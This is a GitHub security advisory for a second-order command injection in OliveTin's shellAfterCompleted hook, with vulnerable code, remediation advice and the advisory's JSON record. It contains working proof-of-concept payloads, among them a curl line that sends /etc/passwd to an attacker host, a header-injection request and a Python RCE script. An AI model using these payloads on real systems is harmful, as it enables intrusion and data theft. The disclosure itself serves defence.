GHSA-VC6P-M6VX-6CWQ
Vulnerability from github – Published: 2026-11-18 21:55 – Updated: 2026-11-18 21:55Summary
OliveTin's shellAfterCompleted post-execution hook injects unsanitized variables — including arbitrary command output (output), the authenticated username (ot_username), and the exit code (exitCode) — directly into a shell command template processed by sh -c. Unlike the main action's argument handling, no checkShellArgumentSafety validation is applied to these variables. An attacker who can influence the output of a command (e.g., via user-supplied arguments that reflect in stdout, or through trusted-header username spoofing) can inject arbitrary OS commands into the post-execution shell.
This is a distinct finding from CVE-2026-27626 (OS command injection via password type in webhooks). That CVE addressed argument types bypassing shell safety checks in the primary execution step. This vulnerability exists in the post-execution step (stepExecAfter), which has zero safety checks on any of its template variables.
Affected Versions
- All versions containing
shellAfterCompletedfunctionality (current codebase through latest)
Details
Vulnerable Code Path
In service/internal/executor/executor.go, the stepExecAfter function handles post-execution commands:
func stepExecAfter(req *ExecutionRequest) bool {
if req.Binding.Action.ShellAfterCompleted == "" {
return true
}
// These variables are injected WITHOUT any type checking or sanitization
args := map[string]string{
"output": req.logEntry.Output, // Arbitrary command stdout/stderr
"exitCode": fmt.Sprintf("%v", req.logEntry.ExitCode),
"ot_executionTrackingId": req.TrackingID,
"ot_username": req.AuthenticatedUser.Username, // User-controlled via trusted headers
}
// Template rendered with unsanitized args
finalParsedCommand, err := tpl.ParseTemplateWithActionContext(
req.Binding.Action.ShellAfterCompleted,
req.Binding.Entity,
args,
)
// Directly passed to sh -c — NO safety check
cmd := wrapCommandInShell(ctx, finalParsedCommand)
// ...
}
The wrapCommandInShell function (in executor_unix.go) executes:
func wrapCommandInShell(ctx *ExecutionContext, finalParsedCommand string) *exec.Cmd {
return exec.CommandContext(ctx, "sh", "-c", finalParsedCommand)
}
Why This Bypasses Existing Protections
The main action's shell commands go through checkShellArgumentSafety (called from handleShellBranch at line 693 of executor.go), which blocks dangerous argument types like password, url, email, raw_string_multiline, and very_dangerous_raw_string from shell mode.
stepExecAfter calls none of these checks. The output variable is:
- Not a declared argument with a type — it's internally created
- Not validated against any regex or type system
- Not passed through checkShellArgumentSafety
- Directly interpolated into a shell command template
A grep for checkShellArgumentSafety in the codebase confirms it is only invoked at one location:
executor.go:693: if err := checkShellArgumentSafety(req); err != nil {
This is inside handleShellBranch (the primary action execution), not in stepExecAfter.
Injection Vectors
Vector 1: Output Reflection
If a primary action echoes user-controlled input:
actions:
- title: Lookup User
shell: "echo 'User: {{ .Arguments.username }}'"
shellAfterCompleted: "audit-log '{{ .Arguments.output }}'"
arguments:
- name: username
type: ascii_identifier
While ascii_identifier constrains the direct argument, the command output itself is the injection vector. If the action processes external data (files, APIs, databases) and that data contains shell metacharacters, the output flows unsanitized into shellAfterCompleted.
Vector 2: Exec Mode Output Injection
Actions using exec mode (array form) safely handle arguments in the primary command but the output still flows to shellAfterCompleted through a shell:
actions:
- title: Read External Data
exec:
- cat
- /shared/data/{{ .Arguments.filename }}
shellAfterCompleted: "process-result '{{ .Arguments.output }}'"
arguments:
- name: filename
type: ascii_identifier
If /shared/data/report contains text like:
'; curl http://attacker.com/exfil?data=$(cat /etc/passwd) #
The shellAfterCompleted becomes:
process-result ''; curl http://attacker.com/exfil?data=$(cat /etc/passwd) #'
This executes arbitrary commands as the OliveTin process user.
Vector 3: Username Injection via Trusted Headers
When trusted header authentication is used (see Finding 04), the ot_username variable comes directly from an HTTP header with no sanitization:
actions:
- title: Any Action
shell: "echo ok"
shellAfterCompleted: "logger 'Action completed by {{ .Arguments.ot_username }}'"
An attacker sets:
X-Remote-User: '; id > /tmp/pwned #
The shellAfterCompleted becomes:
logger 'Action completed by '; id > /tmp/pwned #'
This chains Findings 04 and 05: trusted header spoofing enables username-based injection into post-execution commands.
PoC
Prerequisites
- OliveTin instance with an action configured with
shellAfterCompleted - The
shellAfterCompletedtemplate references{{ .Arguments.output }}or{{ .Arguments.ot_username }}
Config
listenAddressSingleHTTPFrontend: 0.0.0.0:1337
logLevel: "DEBUG"
checkForUpdates: false
actions:
- title: Process File
id: process-file
exec:
- cat
- "/tmp/olivetin-data/{{ .Arguments.filename }}"
shellAfterCompleted: "echo '{{ .Arguments.output }}' >> /tmp/olivetin-audit.log"
arguments:
- name: filename
type: ascii_identifier
Step 1: Create a malicious data file
# On the server, create a file with shell injection payload
mkdir -p /tmp/olivetin-data
echo "normal_data'; touch /tmp/PWNED; echo '" > /tmp/olivetin-data/report
Step 2: Execute the action normally
curl -s -X POST http://127.0.0.1:1337/api/StartActionAndWait \
-H 'Content-Type: application/json' \
-d '{"bindingId":"process-file","arguments":[{"name":"filename","value":"report"}]}'
Step 3: Verify injection
ls -la /tmp/PWNED
# If the file exists, the injection was successful
Explanation: The cat command (exec mode) safely reads the file. The output normal_data'; touch /tmp/PWNED; echo ' is captured. Then shellAfterCompleted renders:
echo 'normal_data'; touch /tmp/PWNED; echo '' >> /tmp/olivetin-audit.log
This executes touch /tmp/PWNED as a second command.
Step 4: Username injection (with trusted headers)
# Add to config
authHttpHeaderUsername: "X-Remote-User"
curl -s -X POST http://127.0.0.1:1337/api/StartActionAndWait \
-H 'Content-Type: application/json' \
-H "X-Remote-User: test'; touch /tmp/PWNED2; echo '" \
-d '{"bindingId":"some-action","arguments":[]}'
If shellAfterCompleted uses {{ .Arguments.ot_username }}, the injection executes.
Python PoC
#!/usr/bin/env python3
"""PoC: Second-Order Command Injection via shellAfterCompleted output variable.
Distinct from CVE-2026-27626 (password type injection in primary execution).
This exploits the post-execution step which has zero argument safety checks.
"""
import requests
import time
import os
TARGET = "http://127.0.0.1:1337"
BINDING_ID = "process-file"
def setup_payload():
"""Create a data file containing shell injection payload."""
os.makedirs("/tmp/olivetin-data", exist_ok=True)
with open("/tmp/olivetin-data/exploit", "w") as f:
f.write("data'; id > /tmp/rce-proof; echo '")
print("[+] Created malicious data file")
def trigger_action():
"""Execute the action that reads the malicious file."""
resp = requests.post(
f"{TARGET}/api/StartActionAndWait",
json={
"bindingId": BINDING_ID,
"arguments": [{"name": "filename", "value": "exploit"}]
},
headers={"Content-Type": "application/json"}
)
print(f"[+] Action response: {resp.status_code}")
return resp.json()
def verify_rce():
"""Check if the injected command executed."""
time.sleep(2)
if os.path.exists("/tmp/rce-proof"):
with open("/tmp/rce-proof") as f:
print(f"[!] RCE CONFIRMED: {f.read().strip()}")
return True
else:
print("[-] /tmp/rce-proof not found")
return False
if __name__ == "__main__":
setup_payload()
result = trigger_action()
print(f"[*] Action output: {result}")
verify_rce()
Impact
- Remote Code Execution: Arbitrary commands execute as the OliveTin process user
- Chained with Finding 04: Trusted header spoofing enables injection via
ot_username - Bypass of CVE-2026-27626 fix: The fix for that CVE only addressed
checkShellArgumentSafetyin the primary execution step; the post-execution step was not hardened - Exec mode bypass: Actions using the safe
execmode (array form) for the primary command can still be exploited through their output flowing to the shell-basedshellAfterCompleted
Remediation
- Apply
checkShellArgumentSafety(or equivalent) tostepExecAftervariables - Shell-escape the
output,ot_username, andexitCodevalues before template substitution (e.g., usingshellescape.Quote()) - Consider adding an exec-mode variant for
shellAfterCompletedto avoid shell interpretation entirely - Sanitize
ot_usernameto reject shell metacharacters regardless of the auth provider
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/OliveTin/OliveTin"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260728155752-e5d29b68da66"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-75506"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-18T21:55:09Z",
"nvd_published_at": "2026-11-18T21:18:02Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nOliveTin\u0027s `shellAfterCompleted` post-execution hook injects unsanitized variables \u2014 including arbitrary command output (`output`), the authenticated username (`ot_username`), and the exit code (`exitCode`) \u2014 directly into a shell command template processed by `sh -c`. Unlike the main action\u0027s argument handling, **no `checkShellArgumentSafety` validation is applied** to these variables. An attacker who can influence the output of a command (e.g., via user-supplied arguments that reflect in stdout, or through trusted-header username spoofing) can inject arbitrary OS commands into the post-execution shell.\n\nThis is a **distinct** finding from CVE-2026-27626 (OS command injection via `password` type in webhooks). That CVE addressed argument types bypassing shell safety checks in the primary execution step. This vulnerability exists in the **post-execution step** (`stepExecAfter`), which has **zero** safety checks on any of its template variables.\n\n## Affected Versions\n\n- All versions containing `shellAfterCompleted` functionality (current codebase through latest)\n\n## Details\n\n### Vulnerable Code Path\n\nIn `service/internal/executor/executor.go`, the `stepExecAfter` function handles post-execution commands:\n\n```go\nfunc stepExecAfter(req *ExecutionRequest) bool {\n if req.Binding.Action.ShellAfterCompleted == \"\" {\n return true\n }\n\n // These variables are injected WITHOUT any type checking or sanitization\n args := map[string]string{\n \"output\": req.logEntry.Output, // Arbitrary command stdout/stderr\n \"exitCode\": fmt.Sprintf(\"%v\", req.logEntry.ExitCode),\n \"ot_executionTrackingId\": req.TrackingID,\n \"ot_username\": req.AuthenticatedUser.Username, // User-controlled via trusted headers\n }\n\n // Template rendered with unsanitized args\n finalParsedCommand, err := tpl.ParseTemplateWithActionContext(\n req.Binding.Action.ShellAfterCompleted,\n req.Binding.Entity,\n args,\n )\n\n // Directly passed to sh -c \u2014 NO safety check\n cmd := wrapCommandInShell(ctx, finalParsedCommand)\n // ...\n}\n```\n\nThe `wrapCommandInShell` function (in `executor_unix.go`) executes:\n\n```go\nfunc wrapCommandInShell(ctx *ExecutionContext, finalParsedCommand string) *exec.Cmd {\n return exec.CommandContext(ctx, \"sh\", \"-c\", finalParsedCommand)\n}\n```\n\n### Why This Bypasses Existing Protections\n\nThe main action\u0027s shell commands go through `checkShellArgumentSafety` (called from `handleShellBranch` at line 693 of executor.go), which blocks dangerous argument types like `password`, `url`, `email`, `raw_string_multiline`, and `very_dangerous_raw_string` from shell mode.\n\n**`stepExecAfter` calls none of these checks.** The `output` variable is:\n- Not a declared argument with a type \u2014 it\u0027s internally created\n- Not validated against any regex or type system\n- Not passed through `checkShellArgumentSafety`\n- Directly interpolated into a shell command template\n\nA `grep` for `checkShellArgumentSafety` in the codebase confirms it is **only** invoked at one location:\n\n```\nexecutor.go:693: if err := checkShellArgumentSafety(req); err != nil {\n```\n\nThis is inside `handleShellBranch` (the primary action execution), **not** in `stepExecAfter`.\n\n### Injection Vectors\n\n#### Vector 1: Output Reflection\n\nIf a primary action echoes user-controlled input:\n\n```yaml\nactions:\n - title: Lookup User\n shell: \"echo \u0027User: {{ .Arguments.username }}\u0027\"\n shellAfterCompleted: \"audit-log \u0027{{ .Arguments.output }}\u0027\"\n arguments:\n - name: username\n type: ascii_identifier\n```\n\nWhile `ascii_identifier` constrains the direct argument, the command output itself is the injection vector. If the action processes external data (files, APIs, databases) and that data contains shell metacharacters, the output flows unsanitized into `shellAfterCompleted`.\n\n#### Vector 2: Exec Mode Output Injection\n\nActions using `exec` mode (array form) safely handle arguments in the primary command but the **output** still flows to `shellAfterCompleted` through a shell:\n\n```yaml\nactions:\n - title: Read External Data\n exec:\n - cat\n - /shared/data/{{ .Arguments.filename }}\n shellAfterCompleted: \"process-result \u0027{{ .Arguments.output }}\u0027\"\n arguments:\n - name: filename\n type: ascii_identifier\n```\n\nIf `/shared/data/report` contains text like:\n```\n\u0027; curl http://attacker.com/exfil?data=$(cat /etc/passwd) #\n```\n\nThe `shellAfterCompleted` becomes:\n```bash\nprocess-result \u0027\u0027; curl http://attacker.com/exfil?data=$(cat /etc/passwd) #\u0027\n```\n\nThis executes arbitrary commands as the OliveTin process user.\n\n#### Vector 3: Username Injection via Trusted Headers\n\nWhen trusted header authentication is used (see Finding 04), the `ot_username` variable comes directly from an HTTP header with no sanitization:\n\n```yaml\nactions:\n - title: Any Action\n shell: \"echo ok\"\n shellAfterCompleted: \"logger \u0027Action completed by {{ .Arguments.ot_username }}\u0027\"\n```\n\nAn attacker sets:\n```\nX-Remote-User: \u0027; id \u003e /tmp/pwned #\n```\n\nThe `shellAfterCompleted` becomes:\n```bash\nlogger \u0027Action completed by \u0027; id \u003e /tmp/pwned #\u0027\n```\n\nThis chains Findings 04 and 05: trusted header spoofing enables username-based injection into post-execution commands.\n\n## PoC\n\n### Prerequisites\n\n- OliveTin instance with an action configured with `shellAfterCompleted`\n- The `shellAfterCompleted` template references `{{ .Arguments.output }}` or `{{ .Arguments.ot_username }}`\n\n### Config\n\n```yaml\nlistenAddressSingleHTTPFrontend: 0.0.0.0:1337\nlogLevel: \"DEBUG\"\ncheckForUpdates: false\n\nactions:\n - title: Process File\n id: process-file\n exec:\n - cat\n - \"/tmp/olivetin-data/{{ .Arguments.filename }}\"\n shellAfterCompleted: \"echo \u0027{{ .Arguments.output }}\u0027 \u003e\u003e /tmp/olivetin-audit.log\"\n arguments:\n - name: filename\n type: ascii_identifier\n```\n\n### Step 1: Create a malicious data file\n\n```bash\n# On the server, create a file with shell injection payload\nmkdir -p /tmp/olivetin-data\necho \"normal_data\u0027; touch /tmp/PWNED; echo \u0027\" \u003e /tmp/olivetin-data/report\n```\n\n### Step 2: Execute the action normally\n\n```bash\ncurl -s -X POST http://127.0.0.1:1337/api/StartActionAndWait \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"bindingId\":\"process-file\",\"arguments\":[{\"name\":\"filename\",\"value\":\"report\"}]}\u0027\n```\n\n### Step 3: Verify injection\n\n```bash\nls -la /tmp/PWNED\n# If the file exists, the injection was successful\n```\n\n**Explanation**: The `cat` command (exec mode) safely reads the file. The output `normal_data\u0027; touch /tmp/PWNED; echo \u0027` is captured. Then `shellAfterCompleted` renders:\n```bash\necho \u0027normal_data\u0027; touch /tmp/PWNED; echo \u0027\u0027 \u003e\u003e /tmp/olivetin-audit.log\n```\nThis executes `touch /tmp/PWNED` as a second command.\n\n### Step 4: Username injection (with trusted headers)\n\n```yaml\n# Add to config\nauthHttpHeaderUsername: \"X-Remote-User\"\n```\n\n```bash\ncurl -s -X POST http://127.0.0.1:1337/api/StartActionAndWait \\\n -H \u0027Content-Type: application/json\u0027 \\\n -H \"X-Remote-User: test\u0027; touch /tmp/PWNED2; echo \u0027\" \\\n -d \u0027{\"bindingId\":\"some-action\",\"arguments\":[]}\u0027\n```\n\nIf `shellAfterCompleted` uses `{{ .Arguments.ot_username }}`, the injection executes.\n\n### Python PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: Second-Order Command Injection via shellAfterCompleted output variable.\n\nDistinct from CVE-2026-27626 (password type injection in primary execution).\nThis exploits the post-execution step which has zero argument safety checks.\n\"\"\"\n\nimport requests\nimport time\nimport os\n\nTARGET = \"http://127.0.0.1:1337\"\nBINDING_ID = \"process-file\"\n\ndef setup_payload():\n \"\"\"Create a data file containing shell injection payload.\"\"\"\n os.makedirs(\"/tmp/olivetin-data\", exist_ok=True)\n with open(\"/tmp/olivetin-data/exploit\", \"w\") as f:\n f.write(\"data\u0027; id \u003e /tmp/rce-proof; echo \u0027\")\n print(\"[+] Created malicious data file\")\n\ndef trigger_action():\n \"\"\"Execute the action that reads the malicious file.\"\"\"\n resp = requests.post(\n f\"{TARGET}/api/StartActionAndWait\",\n json={\n \"bindingId\": BINDING_ID,\n \"arguments\": [{\"name\": \"filename\", \"value\": \"exploit\"}]\n },\n headers={\"Content-Type\": \"application/json\"}\n )\n print(f\"[+] Action response: {resp.status_code}\")\n return resp.json()\n\ndef verify_rce():\n \"\"\"Check if the injected command executed.\"\"\"\n time.sleep(2)\n if os.path.exists(\"/tmp/rce-proof\"):\n with open(\"/tmp/rce-proof\") as f:\n print(f\"[!] RCE CONFIRMED: {f.read().strip()}\")\n return True\n else:\n print(\"[-] /tmp/rce-proof not found\")\n return False\n\nif __name__ == \"__main__\":\n setup_payload()\n result = trigger_action()\n print(f\"[*] Action output: {result}\")\n verify_rce()\n```\n\n## Impact\n\n- **Remote Code Execution**: Arbitrary commands execute as the OliveTin process user\n- **Chained with Finding 04**: Trusted header spoofing enables injection via `ot_username`\n- **Bypass of CVE-2026-27626 fix**: The fix for that CVE only addressed `checkShellArgumentSafety` in the primary execution step; the post-execution step was not hardened\n- **Exec mode bypass**: Actions using the safe `exec` mode (array form) for the primary command can still be exploited through their output flowing to the shell-based `shellAfterCompleted`\n\n## Remediation\n\n1. **Apply `checkShellArgumentSafety`** (or equivalent) to `stepExecAfter` variables\n2. **Shell-escape the `output`, `ot_username`, and `exitCode` values** before template substitution (e.g., using `shellescape.Quote()`)\n3. **Consider adding an exec-mode variant** for `shellAfterCompleted` to avoid shell interpretation entirely\n4. **Sanitize `ot_username`** to reject shell metacharacters regardless of the auth provider",
"id": "GHSA-vc6p-m6vx-6cwq",
"modified": "2026-11-18T21:55:09Z",
"published": "2026-11-18T21:55:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-vc6p-m6vx-6cwq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-75506"
},
{
"type": "WEB",
"url": "https://github.com/OliveTin/OliveTin/pull/1070"
},
{
"type": "WEB",
"url": "https://github.com/OliveTin/OliveTin/pull/1088"
},
{
"type": "WEB",
"url": "https://github.com/OliveTin/OliveTin/commit/4ef86abee7aac4e4ec4a3200c7ca491ca3501065"
},
{
"type": "WEB",
"url": "https://github.com/OliveTin/OliveTin/commit/e5d29b68da66fd7f99072d6afd336dee2c28876c"
},
{
"type": "PACKAGE",
"url": "https://github.com/OliveTin/OliveTin"
},
{
"type": "WEB",
"url": "https://github.com/OliveTin/OliveTin/releases/tag/3000.17.0"
},
{
"type": "WEB",
"url": "https://github.com/OliveTin/OliveTin/releases/tag/3000.18.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "OliveTin: Second-Order OS Command Injection via shellAfterCompleted"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.